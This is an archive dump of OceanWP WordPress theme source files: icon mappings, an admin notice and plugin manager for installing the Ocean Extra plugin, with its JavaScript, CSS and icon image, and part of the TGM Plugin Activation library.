'svg' => 'twitter', ), 'facebook' => array( 'sili' => 'fab fa-facebook', 'fai' => 'fab fa-facebook', 'svg' => 'facebook', ), 'pinterest' => array( 'sili' => 'fab fa-pinterest-p', 'fai' => 'fab fa-pinterest-p', 'svg' => 'pinterest', ), 'dribbble' => array( 'sili' => 'fab fa-dribbble', 'fai' => 'fab fa-dribbble', 'svg' => 'dribbble', ), 'vk' => array( 'sili' => 'fab fa-vk', 'fai' => 'fab fa-vk', 'svg' => 'vkontakte', ), 'instagram' => array( 'sili' => 'fab fa-instagram', 'fai' => 'fab fa-instagram', 'svg' => 'instagram', ), 'linkedin' => array( 'sili' => 'fab fa-linkedin', 'fai' => 'fab fa-linkedin', 'svg' => 'linkedin', ), 'tumblr' => array( 'sili' => 'fab fa-tumblr', 'fai' => 'fab fa-tumblr', 'svg' => 'tumblr', ), 'github' => array( 'sili' => 'fab fa-github-alt', 'fai' => 'fab fa-github-alt', 'svg' => 'github', ), 'flickr' => array( 'sili' => 'fab fa-flickr', 'fai' => 'fab fa-flickr', 'svg' => 'flickr', ), 'skype' => array( 'sili' => 'fab fa-skype', 'fai' => 'fab fa-skype', 'svg' => 'skype', ), 'youtube' => array( 'sili' => 'fab fa-youtube', 'fai' => 'fab fa-youtube', 'svg' => 'youtube', ), 'vimeo' => array( 'sili' => 'fab fa-vimeo-square', 'fai' => 'fab fa-vimeo-square', 'svg' => 'vimeo', ), 'vine' => array( 'sili' => 'fab fa-vine', 'fai' => 'fab fa-vine', 'svg' => 'vine', ), 'xing' => array( 'sili' => 'fab fa-xing', 'fai' => 'fab fa-xing', 'svg' => 'xing', ), 'yelp' => array( 'sili' => 'fab fa-yelp', 'fai' => 'fab fa-yelp', 'svg' => 'yelp', ), 'tripadvisor' => array( 'sili' => 'fab fa-tripadvisor', 'fai' => 'fab fa-tripadvisor', 'svg' => 'tripadvisor', ), 'rss' => array( 'sili' => 'fa fa-rss', 'fai' => 'fa fa-rss', 'svg' => 'rss', ), 'envelope' => array( 'sili' => 'icon-envelope', 'fai' => 'fa fa-envelope', 'svg' => 'envelope', ), 'tiktok' => array( 'sili' => 'fab fa-tiktok', 'fai' => 'fab fa-tiktok', 'svg' => 'tiktok', ), 'medium' => array( 'sili' => 'fab fa-medium-m', 'fai' => 'fab fa-medium-m', 'svg' => 'medium', ), 'stackoverflow' => array( 'sili' => 'fab fa-stack-overflow', 'fai' => 'fab fa-stack-overflow', 'svg' => 'stackoverflow', ), 'twitch' => array( 'sili' => 'fab fa-twitch', 'fai' => 'fab fa-twitch', 'svg' => 'twitch', ), 'foursquare' => array( 'sili' => 'fab fa-foursquare', 'fai' => 'fab fa-foursquare', 'svg' => 'foursquare', ), 'trello' => array( 'sili' => 'fab fa-trello', 'fai' => 'fab fa-trello', 'svg' => 'trello', ), 'telegram' => array( 'sili' => 'fab fa-telegram', 'fai' => 'fab fa-telegram', 'svg' => 'telegram', ), 'line' => array( 'sili' => 'fab fa-line', 'fai' => 'fab fa-line', 'svg' => 'line', ), 'qq' => array( 'sili' => 'fab fa-qq', 'fai' => 'fab fa-qq', 'svg' => 'qq', ), ); return apply_filters( 'oceanwp_theme_icons', $oceanwp_theme_icons ); } } /** * Get correct icon class * * @since 2.0 */ if ( ! function_exists( 'oceanwp_theme_icon_class' ) ) { function oceanwp_theme_icon_class() { $i_class = get_theme_mod( 'ocean_theme_default_icons', 'sili' ); if ( 'sili' === $i_class ) { $ti_class = 'sili'; } elseif ( 'fai' === $i_class ) { $ti_class = 'fai'; } elseif ( 'svg' === $i_class ) { $ti_class = 'svg'; } else { return __( 'Please select an icon type.', 'oceanwp' ); } return apply_filters( 'oceanwp_theme_icon_class', $ti_class ); } } /** * Blog Entries Meta Separator Style * * @since 2.0 */ if ( ! function_exists( 'oceanwp_theme_blog_meta_separator' ) ) { function oceanwp_theme_blog_meta_separator() { $meta_style = get_theme_mod( 'ocean_blog_meta_separator', 'default' ); $meta_style = $meta_style ? $meta_style : 'default'; return apply_filters( 'oceanwp_theme_blog_meta_separator', $meta_style ); } } /** * Single Blog Post Meta Separator * * @since 2.0 */ if ( ! function_exists( 'oceanwp_theme_single_post_separator' ) ) { function oceanwp_theme_single_post_separator() { $sep_style = get_theme_mod( 'ocean_blog_single_meta_separator', 'default' ); $sep_style = $sep_style ? $sep_style : 'default'; return apply_filters( 'oceanwp_theme_single_post_separator', $sep_style ); } } function get_ocean_icon( $args = array() ) { // Make sure $args are an array. if ( empty( $args ) ) { return __( 'Please define default parameters in the form of an array.', 'oceanwp' ); } // Define an icon. if ( false === array_key_exists( 'icon', $args ) ) { return; } // Set defaults. $defaults = array( 'icon' => '', 'class' => '', 'aria_hidden' => true, ); // Get icon class. $theme_icons = oceanwp_theme_icons(); $icon_class = oceanwp_theme_icon_class(); // Parse args. $args = wp_parse_args( $args, $defaults ); if ( empty( $args['icon'] ) || 'none' === $args['icon'] ) { return; } // Set aria hidden. $aria_hidden = ''; if ( true === $args['aria_hidden'] ) { $aria_hidden = ' aria-hidden="true"'; } $class = ''; if ( ! empty( $args['class'] ) ) { $class = $args['class']; } // Add SVG markup. $icon_html = ''; return $icon_html; } /** * Display the icons */ if ( ! function_exists( 'oceanwp_print_icon' ) ) { function oceanwp_print_icon( $args = array(), $echo = true ) { if ( empty( $args ) ) { return __( 'Please define default parameters in the form of an array.', 'oceanwp' ); } $icon = ''; $icon_type = get_theme_mod( 'ocean_theme_default_icons', 'sili' ); if ( isset( $icon_type ) && ! empty( $icon_type ) ) { if ( 'sili' === $icon_type || 'fai' === $icon_type ) { $icon = get_ocean_icon( $args ); } elseif ( 'svg' === $icon_type ) { $icon = ocean_svg_print_icon( $args, false ); } else { return __( 'Please define an icon type.', 'oceanwp' ); } } $icon = apply_filters( "oceanwp_print_icon_{$icon}", $icon ); /** * Print or return icon */ if ( $echo ) { echo $icon; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } else { return $icon; } } } /** * OceanWP icon tag * * @param string $icon Icon class. * @param bool $echo Print string. * @param string $class Icon class. * @param string $title Optional SVG title. * @param string $desc Optional SVG description. * @param string $aria_hidden Optional SVG description. * @param boolean $fallback Fallback icon. * * @return string OceanWP Icon. */ if ( ! function_exists( 'oceanwp_icon' ) ) { function oceanwp_icon( $icon, $echo = true, $class = '', $title = '', $desc = '', $aria_hidden = true, $fallback = false ) { $icon = oceanwp_print_icon( array( 'icon' => $icon, 'class' => $class, 'title' => $title, 'desc' => $desc, 'area_hidden' => $aria_hidden, 'fallback' => $fallback, ), false ); $icon = apply_filters( "oceanwp_icon_{$icon}", $icon ); /** * Print or return icon */ if ( $echo ) { echo $icon; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } else { return $icon; } } } activation-notice/template.php000064400000006364151551031110012512 0ustar00get_ocean_extra_status()['status']; if ( $status === 'active' ) { return; } wp_enqueue_script( 'ocean-extra-plugin-notice-js', OCEANWP_INC_DIR_URI . 'activation-notice/assets/js/notice.min.js', array( 'jquery' ), OCEANWP_THEME_VERSION, true ); wp_localize_script( 'ocean-extra-plugin-notice-js', 'owp_notification_i18n', array( 'activating' => __( 'Activating...', 'oceanwp' ), 'installing_activating' => __( 'Installing & activating...', 'oceanwp' ), ) ); wp_register_style( 'ocean-extra-plugin-notice-css', OCEANWP_INC_DIR_URI . 'activation-notice/assets/css/notice.min.css', array(), OCEANWP_THEME_VERSION ); wp_enqueue_style( 'ocean-extra-plugin-notice-css' ); } add_action( 'admin_enqueue_scripts', 'oceancp_output_ocean_extra_notice_enqueue_scripts' ); add_action( 'admin_notices', function () { oceancp_output_ocean_extra_notice(); } ); function oceancp_output_ocean_extra_notice() { if ( ! apply_filters( 'oceanwp:admin:display-ocean-extra-plugin-notice', true ) ) { return; } if ( ! current_user_can( 'activate_plugins' ) ) { return; } if ( get_option( 'dismissed-oceanwp_plugin_notice', false ) ) { return; } $manager = new Oceanwp_Plugin_Manager(); $status = $manager->get_ocean_extra_status()['status']; if ( $status === 'active' ) { return; } echo '
                    '; echo '
                    '; ?>

                    plugin.

                    '; echo '
                    '; } activation-notice/assets/js/notice.min.js000064400000002336151551031110014500 0ustar00jQuery(document).ready(function(t){var n={isLoading:!1,init:function(){t(".owp-ocean-extra-plugin-inner").length&&(this.render_actions(),t(document).on("click",".owp-ocean-extra-plugin-inner .notice-dismiss",this.dismiss_notice),t(document).on("click",".owp-ocean-extra-plugin-inner .notice-actions button",this.main_action))},render_actions:function(){t.ajax({type:"post",url:ajaxurl,data:{action:"oceanwp_check_notice_actions"},success:function(n){""!=n.data&&t(".owp-notification-content").append(n.data)},complete:function(){}})},dismiss_notice:function(n){t(n.target).closest(".notice-ocean-extra-plugin").remove(),t.ajax(ajaxurl,{type:"POST",data:{action:"oceanwp_dismissed_notice"}})},main_action:function(a){n.isLoading=!0;var i=t(a.target);i.prop("disabled","disabled"),"activate"==i.data("action")?t(a.target).text(owp_notification_i18n.activating):"install_activate"==i.data("action")&&t(a.target).text(owp_notification_i18n.installing_activating),t(a.target).append(''),t.ajax({type:"post",url:ajaxurl,data:{action:"oceanwp_notice_button_click"},success:function(t){t.success&&"active"===t.data.status&&location.assign(t.data.pluginUrl),n.isLoading=!1},complete:function(){}})}};n.init()});activation-notice/assets/js/notice.js000064400000003565151551031110013723 0ustar00// Document Ready jQuery(document).ready(function ($) { var owp_notification = { isLoading: false, init: function () { if ($('.owp-ocean-extra-plugin-inner').length) { this.render_actions(); $(document).on('click', '.owp-ocean-extra-plugin-inner .notice-dismiss', this.dismiss_notice); $(document).on('click', '.owp-ocean-extra-plugin-inner .notice-actions button', this.main_action); } }, render_actions: function () { $.ajax({ type: 'post', url: ajaxurl, data: { action: 'oceanwp_check_notice_actions' }, success: function (response) { if (response.data != '') { $('.owp-notification-content').append(response.data); } }, complete: function () { } }); }, dismiss_notice: function (evt) { $(evt.target).closest('.notice-ocean-extra-plugin').remove(); $.ajax(ajaxurl, { type: 'POST', data: { action: 'oceanwp_dismissed_notice', }, }) }, main_action: function (evt) { owp_notification.isLoading = true; var $el = $(evt.target); $el.prop('disabled', 'disabled'); if ($el.data('action') == 'activate') { $(evt.target).text(owp_notification_i18n.activating); } else if ($el.data('action') == 'install_activate') { $(evt.target).text(owp_notification_i18n.installing_activating); } $(evt.target).append(''); $.ajax({ type: 'post', url: ajaxurl, data: { action: 'oceanwp_notice_button_click' }, success: function (response) { if (response.success) { if (response.data.status === 'active') { location.assign(response.data.pluginUrl) } } owp_notification.isLoading = false; }, complete: function () { } }); } } owp_notification.init(); });activation-notice/assets/img/oceanwp-blue-icon.png000064400000005432151551031110016254 0ustar00‰PNG  IHDR22?ˆ± pHYs  ÒÝ~ü ÌIDAThíYi¬UÕþÖÞûœ;½ îxŒOEmdH+ÖÅ!ÅĨiµiǪ)1iÓÔNöbBE[§¶$­V¤ Š"*ŠÄ#8–yß{¼ù¾{ï9gï½úãœû„{߃«?Vrò’—»×Zß^k¯8FÇè•"ª|Ïîݺ ¾×"QŠ2C†©†q§ª&L™ú ¼ýdgÜŒs9Ÿ˜A©Zx¯?ùˆþlýGRˆýÁH¥l[cGþ¹‡î£D2üw>ËΘÉg9ãgNÀ²¤®¥P˜mÝÉ^ˆxÂ5B*øx+y4”ÈG”‰ è"¼5ÿzÒ¶7·@¹ l4îԋ焺ÐQ‰Lꌛ1 ZS,½}Óúà³w6 Ø af¶qG£þä­×(ž ߇3nú,€P.AÙRuÿ*9tô©xpcП¾ý:ŒŽa…ªq!‚k×@ €ˆ8(@=VÖ?ƒÄaÓEi ä †aT; :¢Ä ?_ÿ^ô›Ê€P¬|õÖ>@ F[JÖÖˆú‘£"y‡Õ·„k…ZŠÌÐaäÆ l „ð}˜/¶lÞ_x%ØÆ;¹õ¢þÆBIÈ#"•ŽÜ"¢&3‚"?–Ä~γmMM‚wµ¶r.Û)Ã@B€è7pp¹ÓeóÕ¤kÃB†‚ÀŸc¯»«(ý¨t?±—˱×EÑ‹ šL]¹så('Qd’@¡;à|6è‘R)âûÃ…œFþˆ¿”ÉrÇ{‘Ù{”åƒþ~{Ô . „­)¶€WKö½®*G:0)WsÀûç…rÇËéléˆÆ ¶ 7ž¤x2I¯ü8)–LP¢*ÅÅÖîjí(wìð@Šá°«¥ –Ã(f-ÈM$¨&“…TGÈKTÕÕP¼ªÖDI°ûö–;]Ê"!}_ìAà¡gìãÆ!ãz|ÅpŸ<”’U)Xà ’0¶iÇŽP£Ã?– ËwÛ´s§íjm G;a\— ãO+J¯ rÄØS฀µB ÎuæÍîÿn9 Ì Ûöe‡ùbóÇäÄ©5œ±S¦èUŸÐkŠ”tÆž9½Øe’ãÂ6ïúÜ4nÛýæ°òJ?vöú£ukÂñ{9¨QΔCNfÞÃr½¦htJUuIuÊôYìå€àÆlzãUèR•Šü¥D7à¯a á@šjúWž7÷‡!qô¡Xûž‹Î“ƒOh€_ë:kà¿ùÌŠÚ”dQR@8¾¤`ÓÚ÷ôæ k)‘ £p¾ñó¯Ÿ'úªƒÑúè¬B€µ å 1çæÛ¡ýЭâ)¡·}¸Þÿà•×"]¢~äÐï²La§ì…å‹Áqf‚ï1`xCòÚ{~r‘ªTeZ’”ã‚Ù&.½íF5æŒéœÏ„X …çþräVBˆÐúÌ :’aG´ãµ Ö¾’YpziK^Úb2/ZŽÏ¹å:€TNŸ˜ ! ܉çÎL/ïΧ—µsú©}AfeÀu ׽Тג=–‚zŒµâ@oçZBXËfû¦ ±³¯¾Ìq0DZ©_Âצ7®}Ìa•J†A=‹ŸpQ¼IÂ]Š;㊠ªçÿc)@)m ¶Ù®ß]y…Ý·§ R)XcÔI“N©ºõ¡‡sçÿ6vÖUsáåšÍöŸEa»õ_tÛñó¯¿*³š9ýt«N/mÑé§ÛtfsíV=ïœ2-Ê/%e±ó6fXõ=”YØô36ýÔ¾ ýt›É¼Ä?÷Gs h19bìÈô²¶¦ÌKÌ™å9“y޳ǽÊ?ûšË‹ºõuˆ­`N\vûÏR7,X̹,#(„SǪZcLðéÛoï¯~Noùà}Û¼k7k? Cˆ¤ì_?H6Œï|çûç8ãg΢dM’»Ú ¬¶ˆ%%R”½ÿ†ë +|$zw€Ñºê¦EJÌ™w—mm,@¹.ŒÑ”¬võŽÞj¿ñô©H•U~²FC*•ú¾mË»«n^ô8ÕdÒœm·ÜÙêAH圼œAà9<~¹«Õ·­MwwX¸ !ú ŒÃ‰oõ’‡Ûo>cœ¿nÙ R  Ç íޛȕ€Xc }Ÿœ¸­y ç» 8ªø/¤[³UÇ›uõµÎ„³gËúN¦dµ I‡^*X绳wë§Á»/<ë½¼äq½mãf 8pôMâEfh¦vÁëoȡǟ„‚6PJÂh¿óWÿÀ_¿òõ¾¿‘ƒ)\|%\*’ƒGÃÆœ,5ŒµÇ г µ­MöËm[Í®O>Ö{6o‡öíW— >Äþ0œ¯±0b`âŠ;îCGOä®Ö]…gX|´nˆDE¦¡"B@*…¾mÀÂÕ‚åÝ»gwÐùýòHå; ¶¢Õ÷1:Fÿçô?Ë$H¦µ2³üIEND®B`‚activation-notice/assets/css/notice.css000064400000002020151551031110014234 0ustar00.notice-ocean-extra-plugin { position: relative; padding: 25px 20px; border-left-color: #00a0d2; font-family: 'Poppins', sans-serif; } .owp-ocean-extra-plugin-inner { display: flex; } .owp-ocean-extra-plugin-inner .owp-notification-icon { display: flex; align-items: center; justify-content: center; flex: 0 0 40px; width: 40px; height: 40px; margin-right: 20px; } .owp-ocean-extra-plugin-inner h2 { font-weight: 700; margin: 0 0 10px 0; } .owp-ocean-extra-plugin-inner .notice-subheading { font-size: 14px; font-weight: 500; } .owp-ocean-extra-plugin-inner p { padding: 0; margin: 0 0 1.5em 0; } .owp-ocean-extra-plugin-inner li { list-style: disc; margin-left: 40px; } .owp-ocean-extra-plugin-inner .notice-actions { display: flex; align-items: center; } .owp-ocean-extra-plugin-inner .notice-actions > * { display: flex; align-items: center; } .owp-ocean-extra-plugin-inner .notice-actions > *:first-child { margin-right: 10px; } activation-notice/assets/css/notice.min.css000064400000001503151551031110015023 0ustar00.notice-ocean-extra-plugin{position:relative;padding:25px 20px;border-left-color:#00a0d2;font-family:Poppins,sans-serif}.owp-ocean-extra-plugin-inner{display:flex}.owp-ocean-extra-plugin-inner .owp-notification-icon{display:flex;align-items:center;justify-content:center;flex:0 0 40px;width:40px;height:40px;margin-right:20px}.owp-ocean-extra-plugin-inner h2{font-weight:700;margin:0 0 10px 0}.owp-ocean-extra-plugin-inner .notice-subheading{font-size:14px;font-weight:500}.owp-ocean-extra-plugin-inner p{padding:0;margin:0 0 1.5em 0}.owp-ocean-extra-plugin-inner li{list-style:disc;margin-left:40px}.owp-ocean-extra-plugin-inner .notice-actions{display:flex;align-items:center}.owp-ocean-extra-plugin-inner .notice-actions>*{display:flex;align-items:center}.owp-ocean-extra-plugin-inner .notice-actions>:first-child{margin-right:10px}activation-notice/class-oceanwp-plugin-manager.php000064400000007013151551031110016332 0ustar00get_plugin_status( 'ocean-extra' ); return array( 'slug' => 'ocean-extra', 'status' => $free_status, ); } public function get_plugin_status( $slug ) { $full_name = $this->is_plugin_installed( $slug ); if ( ! $full_name ) { return 'uninstalled'; } if ( ! $this->is_plugin_active( $full_name ) ) { return 'installed'; } return 'active'; } public function is_plugin_installed( $slug ) { $installed_plugins = $this->get_installed_plugins(); foreach ( $installed_plugins as $plugin => $data ) { $parts = explode( '/', $plugin ); $plugin_first_part = $parts[0]; if ( strtolower( $slug ) === strtolower( $plugin_first_part ) ) { return $plugin; } } return false; } public function is_plugin_active( $plugin ) { if ( ! function_exists( 'activate_plugin' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } return is_plugin_active( $plugin ); } public function get_installed_plugins( $plugin_folder = '' ) { // https://github.com/WordPress/WordPress/blob/ba92ed7615dec870a363bc99d6668faedfa77415/wp-admin/includes/plugin.php#L2254 wp_cache_delete( 'plugins', 'plugins' ); if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } return get_plugins( $plugin_folder ); } protected function require_wp_headers() { require_once ABSPATH . 'wp-admin/includes/file.php'; if ( ! class_exists( 'Plugin_Upgrader', false ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } if ( ! class_exists( 'Oceanwp_Upgrader_Skin', false ) ) { require_once dirname( __FILE__ ) . '/class-oceanwp-upgrader-skin.php'; } } public function get_plugins_api( $slug ) { static $api = array(); // Cache received responses. if ( ! isset( $api[ $slug ] ) ) { if ( ! function_exists( 'plugins_api' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; } require_once dirname( __FILE__ ) . '/class-oceanwp-upgrader-skin.php'; $response = plugins_api( 'plugin_information', array( 'slug' => $slug, 'fields' => array( 'sections' => false, ), ) ); $api[ $slug ] = false; if ( is_wp_error( $response ) ) { } else { $api[ $slug ] = $response; } } return $api[ $slug ]; } public function download_and_install( $slug ) { $this->require_wp_headers(); if ( $this->is_plugin_installed( $slug ) ) { return true; } $api = $this->get_plugins_api( $slug ); if ( ! isset( $api->download_link ) ) { return true; } // Prep variables for Plugin_Installer_Skin class. $source = $api->download_link; if ( ! $source ) { return false; } $skin = new Oceanwp_Upgrader_Skin(); // Create a new instance of Plugin_Upgrader. $upgrader = new Plugin_Upgrader( $skin ); $res = $upgrader->fs_connect( array( WP_CONTENT_DIR, WP_PLUGIN_DIR ) ); if ( ! $res ) { return false; } $upgrader->install( $source ); } public function plugin_activation( $plugin ) { $full_name = $this->is_plugin_installed( $plugin ); if ( $full_name ) { if ( ! $this->is_plugin_active( $full_name ) ) { return activate_plugin( $full_name, '', false, true ); } } return new WP_Error(); } } } activation-notice/class-oceanwp-upgrader-skin.php000064400000000661151551031110016201 0ustar00get_ocean_extra_status(); $actions_html = ''; if ( $status['status'] == 'installed' ) { $actions_html = '
                    '; } elseif ( $status['status'] == 'uninstalled' ) { $actions_html = '
                    '; } wp_send_json_success( $actions_html ); } ); add_action( 'wp_ajax_oceanwp_notice_button_click', function () { if ( ! current_user_can( 'activate_plugins' ) ) { return; } $manager = new Oceanwp_Plugin_Manager(); $status = $manager->get_ocean_extra_status(); if ( $status['status'] === 'active' ) { wp_send_json_success( array( 'status' => 'active', 'pluginUrl' => admin_url( 'admin.php?page=oceanwp' ), ) ); } if ( $status['status'] === 'uninstalled' ) { $manager->download_and_install( $status['slug'] ); $manager->plugin_activation( $status['slug'] ); wp_send_json_success( array( 'status' => 'active', 'pluginUrl' => admin_url( 'admin.php?page=oceanwp' ), ) ); } if ( $status['status'] === 'installed' ) { $manager->plugin_activation( $status['slug'] ); wp_send_json_success( array( 'status' => 'active', 'pluginUrl' => admin_url( 'admin.php?page=oceanwp' ), ) ); } wp_die(); } ); plugins/class-tgm-plugin-activation.php000064400000367106151551031110014271 0ustar00wp_version = $GLOBALS['wp_version']; // Announce that the class is ready, and pass the object (for advanced use). do_action_ref_array( 'tgmpa_init', array( $this ) ); // When the rest of WP has loaded, kick-start the rest of the class. add_action( 'init', array( $this, 'init' ) ); } /** * Magic method to (not) set protected properties from outside of this class. * * {@internal hackedihack... There is a serious bug in v2.3.2 - 2.3.6 where the `menu` property * is being assigned rather than tested in a conditional, effectively rendering it useless. * This 'hack' prevents this from happening.}} * * @see https://github.com/TGMPA/TGM-Plugin-Activation/blob/2.3.6/tgm-plugin-activation/class-tgm-plugin-activation.php#L1593 * * @since 2.5.2 * * @param string $name Name of an inaccessible property. * @param mixed $value Value to assign to the property. * @return void Silently fail to set the property when this is tried from outside of this class context. * (Inside this class context, the __set() method if not used as there is direct access.) */ public function __set( $name, $value ) { return; } /** * Magic method to get the value of a protected property outside of this class context. * * @since 2.5.2 * * @param string $name Name of an inaccessible property. * @return mixed The property value. */ public function __get( $name ) { return $this->{$name}; } /** * Initialise the interactions between this class and WordPress. * * Hooks in three new methods for the class: admin_menu, notices and styles. * * @since 2.0.0 * * @see TGM_Plugin_Activation::admin_menu() * @see TGM_Plugin_Activation::notices() * @see TGM_Plugin_Activation::styles() */ public function init() { /** * By default TGMPA only loads on the WP back-end and not in an Ajax call. Using this filter * you can overrule that behaviour. * * @since 2.5.0 * * @param bool $load Whether or not TGMPA should load. * Defaults to the return of `is_admin() && ! defined( 'DOING_AJAX' )`. */ if ( true !== apply_filters( 'tgmpa_load', ( is_admin() && ! defined( 'DOING_AJAX' ) ) ) ) { return; } // Load class strings. $this->strings = array( 'page_title' => __( 'Install Required Plugins', 'oceanwp' ), 'menu_title' => __( 'Install Plugins', 'oceanwp' ), /* translators: %s: plugin name. */ 'installing' => __( 'Installing Plugin: %s', 'oceanwp' ), /* translators: %s: plugin name. */ 'updating' => __( 'Updating Plugin: %s', 'oceanwp' ), 'oops' => __( 'Something went wrong with the plugin API.', 'oceanwp' ), 'notice_can_install_required' => _n_noop( /* translators: 1: plugin name(s). */ 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.', 'oceanwp' ), 'notice_can_install_recommended' => _n_noop( /* translators: 1: plugin name(s). */ 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.', 'oceanwp' ), 'notice_ask_to_update' => _n_noop( /* translators: 1: plugin name(s). */ 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.', 'oceanwp' ), 'notice_ask_to_update_maybe' => _n_noop( /* translators: 1: plugin name(s). */ 'There is an update available for: %1$s.', 'There are updates available for the following plugins: %1$s.', 'oceanwp' ), 'notice_can_activate_required' => _n_noop( /* translators: 1: plugin name(s). */ 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.', 'oceanwp' ), 'notice_can_activate_recommended' => _n_noop( /* translators: 1: plugin name(s). */ 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.', 'oceanwp' ), 'install_link' => _n_noop( 'Begin installing plugin', 'Begin installing plugins', 'oceanwp' ), 'update_link' => _n_noop( 'Begin updating plugin', 'Begin updating plugins', 'oceanwp' ), 'activate_link' => _n_noop( 'Begin activating plugin', 'Begin activating plugins', 'oceanwp' ), 'return' => __( 'Return to Required Plugins Installer', 'oceanwp' ), 'dashboard' => __( 'Return to the Dashboard', 'oceanwp' ), 'plugin_activated' => __( 'Plugin activated successfully.', 'oceanwp' ), 'activated_successfully' => __( 'The following plugin was activated successfully:', 'oceanwp' ), /* translators: 1: plugin name. */ 'plugin_already_active' => __( 'No action taken. Plugin %1$s was already active.', 'oceanwp' ), /* translators: 1: plugin name. */ 'plugin_needs_higher_version' => __( 'Plugin not activated. A higher version of %s is needed for this theme. Please update the plugin.', 'oceanwp' ), /* translators: 1: dashboard link. */ 'complete' => __( 'All plugins installed and activated successfully. %1$s', 'oceanwp' ), 'dismiss' => __( 'Dismiss this notice', 'oceanwp' ), 'notice_cannot_install_activate' => __( 'There are one or more required or recommended plugins to install, update or activate.', 'oceanwp' ), 'contact_admin' => __( 'Please contact the administrator of this site for help.', 'oceanwp' ), ); do_action( 'tgmpa_register' ); /* After this point, the plugins should be registered and the configuration set. */ // Proceed only if we have plugins to handle. if ( empty( $this->plugins ) || ! is_array( $this->plugins ) ) { return; } // Set up the menu and notices if we still have outstanding actions. if ( true !== $this->is_tgmpa_complete() ) { // Sort the plugins. array_multisort( $this->sort_order, SORT_ASC, $this->plugins ); add_action( 'admin_menu', array( $this, 'admin_menu' ) ); add_action( 'admin_head', array( $this, 'dismiss' ) ); // Prevent the normal links from showing underneath a single install/update page. add_filter( 'install_plugin_complete_actions', array( $this, 'actions' ) ); add_filter( 'update_plugin_complete_actions', array( $this, 'actions' ) ); if ( $this->has_notices ) { add_action( 'admin_notices', array( $this, 'notices' ) ); add_action( 'admin_init', array( $this, 'admin_init' ), 1 ); add_action( 'admin_enqueue_scripts', array( $this, 'thickbox' ) ); } } // If needed, filter plugin action links. add_action( 'load-plugins.php', array( $this, 'add_plugin_action_link_filters' ), 1 ); // Make sure things get reset on switch theme. add_action( 'switch_theme', array( $this, 'flush_plugins_cache' ) ); if ( $this->has_notices ) { add_action( 'switch_theme', array( $this, 'update_dismiss' ) ); } // Setup the force activation hook. if ( true === $this->has_forced_activation ) { add_action( 'admin_init', array( $this, 'force_activation' ) ); } // Setup the force deactivation hook. if ( true === $this->has_forced_deactivation ) { add_action( 'switch_theme', array( $this, 'force_deactivation' ) ); } } /** * Hook in plugin action link filters for the WP native plugins page. * * - Prevent activation of plugins which don't meet the minimum version requirements. * - Prevent deactivation of force-activated plugins. * - Add update notice if update available. * * @since 2.5.0 */ public function add_plugin_action_link_filters() { foreach ( $this->plugins as $slug => $plugin ) { if ( false === $this->can_plugin_activate( $slug ) ) { add_filter( 'plugin_action_links_' . $plugin['file_path'], array( $this, 'filter_plugin_action_links_activate' ), 20 ); } if ( true === $plugin['force_activation'] ) { add_filter( 'plugin_action_links_' . $plugin['file_path'], array( $this, 'filter_plugin_action_links_deactivate' ), 20 ); } if ( false !== $this->does_plugin_require_update( $slug ) ) { add_filter( 'plugin_action_links_' . $plugin['file_path'], array( $this, 'filter_plugin_action_links_update' ), 20 ); } } } /** * Remove the 'Activate' link on the WP native plugins page if the plugin does not meet the * minimum version requirements. * * @since 2.5.0 * * @param array $actions Action links. * @return array */ public function filter_plugin_action_links_activate( $actions ) { unset( $actions['activate'] ); return $actions; } /** * Remove the 'Deactivate' link on the WP native plugins page if the plugin has been set to force activate. * * @since 2.5.0 * * @param array $actions Action links. * @return array */ public function filter_plugin_action_links_deactivate( $actions ) { unset( $actions['deactivate'] ); return $actions; } /** * Add a 'Requires update' link on the WP native plugins page if the plugin does not meet the * minimum version requirements. * * @since 2.5.0 * * @param array $actions Action links. * @return array */ public function filter_plugin_action_links_update( $actions ) { $actions['update'] = sprintf( '%3$s', esc_url( $this->get_tgmpa_status_url( 'update' ) ), esc_attr__( 'This plugin needs to be updated to be compatible with your theme.', 'oceanwp' ), esc_html__( 'Update Required', 'oceanwp' ) ); return $actions; } /** * Handles calls to show plugin information via links in the notices. * * We get the links in the admin notices to point to the TGMPA page, rather * than the typical plugin-install.php file, so we can prepare everything * beforehand. * * WP does not make it easy to show the plugin information in the thickbox - * here we have to require a file that includes a function that does the * main work of displaying it, enqueue some styles, set up some globals and * finally call that function before exiting. * * Down right easy once you know how... * * Returns early if not the TGMPA page. * * @since 2.1.0 * * @global string $tab Used as iframe div class names, helps with styling * @global string $body_id Used as the iframe body ID, helps with styling * * @return null Returns early if not the TGMPA page. */ public function admin_init() { if ( ! $this->is_tgmpa_page() ) { return; } if ( isset( $_REQUEST['tab'] ) && 'plugin-information' === $_REQUEST['tab'] ) { // Needed for install_plugin_information(). require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; wp_enqueue_style( 'plugin-install' ); global $tab, $body_id; $body_id = 'plugin-information'; // @codingStandardsIgnoreStart $tab = 'plugin-information'; // @codingStandardsIgnoreEnd install_plugin_information(); exit; } } /** * Enqueue thickbox scripts/styles for plugin info. * * Thickbox is not automatically included on all admin pages, so we must * manually enqueue it for those pages. * * Thickbox is only loaded if the user has not dismissed the admin * notice or if there are any plugins left to install and activate. * * @since 2.1.0 */ public function thickbox() { if ( ! get_user_meta( get_current_user_id(), 'tgmpa_dismissed_notice_' . $this->id, true ) ) { add_thickbox(); } } /** * Adds submenu page if there are plugin actions to take. * * This method adds the submenu page letting users know that a required * plugin needs to be installed. * * This page disappears once the plugin has been installed and activated. * * @since 1.0.0 * * @see TGM_Plugin_Activation::init() * @see TGM_Plugin_Activation::install_plugins_page() * * @return null Return early if user lacks capability to install a plugin. */ public function admin_menu() { // Make sure privileges are correct to see the page. if ( ! current_user_can( 'install_plugins' ) ) { return; } $args = apply_filters( 